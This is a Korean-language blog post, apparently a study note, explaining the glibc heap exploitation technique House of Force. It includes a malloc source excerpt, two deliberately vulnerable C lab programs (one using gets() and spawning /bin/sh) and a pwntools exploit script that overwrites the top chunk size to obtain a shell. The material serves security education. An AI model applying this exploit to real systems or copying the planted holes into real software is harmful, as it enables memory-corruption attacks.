rosieblue
article thumbnail
728x90

House of Force

힙을 안한지 너무 오래되어서 오랜만에 힙 공부를 하는겸 House of Force 기법에 대해 분석하고자 한다.
 

House of Force 기법은 Top Chunk의 사이즈를 조작해서 원하는 위치에 청크를 할당 할 수 있게 하는 공격 방법이다.

 
House of Force를 보기 전에 Top chunk에 대해 다시 복습해보자. -> [Heap] Background : Chunk

 

[Heap] Background : Chunk

Heap 시리즈 [Heap] Background : Memory Allocator [Heap] Background : Chunk [Heap] Background : Bin (Fastbin, Unsorted bin, Small bin, Large bin) [Heap] Memory Corruption : Use After Free(UAF) (1) Chunk malloc 등을 통해 메모리를 동적할당하

hannahsecurity.tistory.com

 
위 글에 따르면 청크가 할당되는 과정은 아래와 같았다

bin(혹은 tcache)에 원하는 사이즈의 청크가 없을 때, top chunk을 분할해서 할당했었다.
 
아래 그림도 보자.

top chunk의 윗부분(주소 낮은 쪽)을 사이즈만큼 분할해 주고 있는 것을 gdb에서 확인할 수 있었다. 그래서 top chunk의 주소가 할당한 청크의 크기만큼 커지는 것을 볼 수 있다. 그리고 할당한 청크의 주소는 이전 top chunk의 주소가 된다.
 
만약 원하는 사이즈가 top chunk의 크기보다 크다면 sbrk syscall 혹은 mmap syscall로 main arena와 thread arena를 확장했었다. 그리고 bin에 원하는 사이즈의 청크가 있으면 해당 bin의 청크를 재할당해주는 식으로 할당 과정이 이루어진다.
자세한 내용은 [Heap] Background : Chunk를 참고하자.
 
 
아래는 _int_malloc함수의 일부분으로 malloc이 일어날 때의 상황을 보여주고 있다.

      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
  • victim에 top chunk주소를 대입하고 사이즈를 size에 할당
  • size가 할당을 요청한 사이즈 nb보다 크다면 코드 실행
  • 나머지 잘라진 청크?를 remainder라고 하고 그 위치는 chunk_at_offset(victim,nb)로 설정
  • remainder를 다시 top chunk로 설정

 
만약 top chunk의 크기를 정말 크게 조작할 수 있다면(ex:2^64-1), 청크를 할당할 때 무조건 top chunk를 쪼개서 할당받게 될 것이다. (bin 등에서 할당할 수 없는 경우)
이때 malloc으로 어떤 청크를 size만큼 할당받았을 때, top chunk의 위치는 old_top_chunk_addr+size가 될 것이다.
그리고 새로 청크를 할당하면 old_top_chunk_addr+size에 청크를 할당할 수 있을 것이다(bin등에 비슷한 크기가 없고... 등등 다른 조건이 만족된다고 가정했을 때!) old_top_chunk_addr+size를 우리가 원하는 위치로 조절해주어서 임의의 주소에 청크를 할당할 수 있게 하는 것이 House of Force기법이라고 보면 된다.
 

House of Force 기법은 top chunk의 size를 2^64-1(64bit), 2^32-1(32bit)로 조작하여 임의의 주소 - top chunk 주소 - 16 크기의 힙 청크를 할당하고 한번 더 힙 청크를 할당해서 임의의 주소에 할당할 수 있는 공격방법이다.

 

만약 size가 음수가 되면 어떨까?

size는 음수가 되도 된다. top chunk의 주소+할당할 크기가 0xffffffffffffffff을 넘어가게 된다면 overflow가 일어나서 자동으로 0x0부터 시작하게 된다!
예를 들어서 값을 -0x100로 전달하면 얘는 자동으로 0xffffffffffffffff-0x100으로 저장되게 되고 top chunk의 주소+0xffffffffffffffff-0x100=top_chunk 주소-0x100이 되어서 우리가 원하는 위치에 top chunk가 할당되게 된다!!

출처 : https://j4guar.tistory.com/54

 

예제 1

// gcc -o force1 force1.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char target[] ="im target!\n";

int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108; //top_chunk의 사이즈 위치
        
        fprintf(stderr,"target : %s\n", target);
        fprintf(stderr,"buf1 : 0x%x\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
        
        *top_chunk_size_addr = 0xffffffffffffffff; //사이즈를 0xffffffffffffffff로 엄청 크게 조작
        
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;   //0x8은 alignment때문    
        fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
        
        trash = malloc(exploit_size); //dummy
        exploit = malloc(0x100);
        fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
        
        strcpy(exploit, "exploited!!!!!!");
        fprintf(stderr,"target : %s\n", target);
        
        return 0;
}


1. 힙 청크를 할당하고 top chunk의 주소를 알아내기
2. top chunk의 size를 (2**64)-1 값으로 조작
3. 할당 시 임의 주소 - 0x10 - top chunk 주소 - 0x8를 전달
4. 이후에 malloc 함수로 할당하면 임의의 영역에 힙 청크를 할당 가능
 
 
[ 결과 ]
 

Ubuntu 16.04에서는 익스플로잇 가능

arget_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8; 에서 0x8을 빼준 이유는 alignment 때문이다.
(음 위 코드는 드림핵에서 가져온건데.. 그냥 target 주소를 하드코딩하고있다.... 실제로 찍어보니까 주소는 0x40으로 끝남 ;; 그냥 저런식으로 align 맞춰준다라고 생각하고만 넘어가자)
 
 

더보기

참고로 우분투 높은 버전에서는 에러뜬다

corrupted top size라고 뜸 ㅠ ㅠ 

 

예제  2

// gcc -o force2 force2.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

__int64_t overwrite_me = 0;

int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
 
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
 
	buf1 = malloc(0x20);
 
	write(1, &buf1, 8); //buf1 주소 출력 (top chunk 주소 - 0x20)
	gets(buf1); //Heap overflow로 top size 조작
 
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21); //위치-topchunk주소-0x10
	trash = malloc(strtoull(malloc_size, NULL, 10));
	buf2 = malloc(0x100); //buf2가 overwrite_me가 됨
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100);
 
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
 
	return 0;
}

1.힙 주소를 릭하여 top chunk의 주소 계산
2. 힙 오버플로우로 top chunk의 size를 2^64-1로 조작
3. overwrite_me 전역 변수의 주소와 top chunk의 주소를 연산하여 할당할 크기를 전달
4. overwrite_me 전역 변수의 값을 0xdeadbeefcafebabe로 조작해 셸 획득


[ 익스플로잇 코드 ]

from pwn import *

s = process('./force2')
raw_input()
overwrite_me = 0x601090

heap_addr = u64(s.recv(5).ljust(8, '\x00'))
print hex(heap_addr)
topchunk_addr = heap_addr+0x28 #사이즈 주소

payload = '\x00'*0x28
payload += p64(0xffffffffffffffff)
s.sendline(payload)

target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
print target_size
s.sendline(str(target_size))

payload = p64(0xdeadbeefcafebabe)*2
s.sendline(payload)

s.interactive()

 
 

Reference

Heap Allocator Exploit | Dreamhack

 

로그인 | Dreamhack

 

dreamhack.io

 

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!